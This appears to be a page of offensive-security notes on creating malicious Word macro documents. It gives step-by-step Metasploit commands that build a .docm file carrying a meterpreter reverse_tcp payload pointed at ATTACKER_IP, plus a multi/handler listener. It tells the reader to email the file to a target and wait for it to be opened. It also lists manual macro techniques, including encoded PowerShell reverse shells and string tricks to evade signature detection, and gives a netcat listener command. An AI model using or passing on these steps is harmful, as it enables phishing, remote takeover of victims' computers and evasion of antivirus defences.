githubEdit

MS Word Malicious Macro Document Creation

Example tool to create infected documents:

1) Metasploit

Usage:

  1. Enter metasploit console

     msfconsole
  2. Specify the payload to use

     set payload windows/meterpreter/reverse_tcp
  3. Use this module to create the malicious .docm file

     use exploit/multi/fileformat/office_word_macro
  4. Set our IP address to listen for connections

     set LHOST ATTACKER_IP
  5. Set our port to listen for connections

     set LPORT ATTACKER_PORT
  6. Check the settings if they are properly configured

     show options
  7. Run the module

     exploit

The word document with the embedded macro will be stored in:

  • /root/.msf4/local/msf.docm

  1. Open another msfconsole session in another terminal and use the multi/handler module to catch incoming connections

  2. Set the payload we used to create the file for the handler to recognise it

  3. Set connection information

  4. Check our settings again for good measure

  5. Run the module

Then, send the malicious document via email (for example) to your target and wait for them to open it. Then profit

Manual Macros

1) Auto-Executing Powershell on Document Open

2) Passing Command as a String Variable

3) Macro for PowerShell Reverse Shell using Encoded Command

4) String Concatenation to Bypass Signature Detection

5) Executing Encoded Commands without Direct PowerShell reference

6) Callback ping

This Macros file is just to get a callback from the victim and understand what is happening, it is not ideal for real operations but it is for testing purposes

7) Determine target architecture

We can use special non-malicious Macros to find the architecture of the target and therefore crafting the payloads and stagers correctly avoid running issues. Remember to run nc -nvlp 80 prior to delivering them.

8) Macro using powershell

Last updated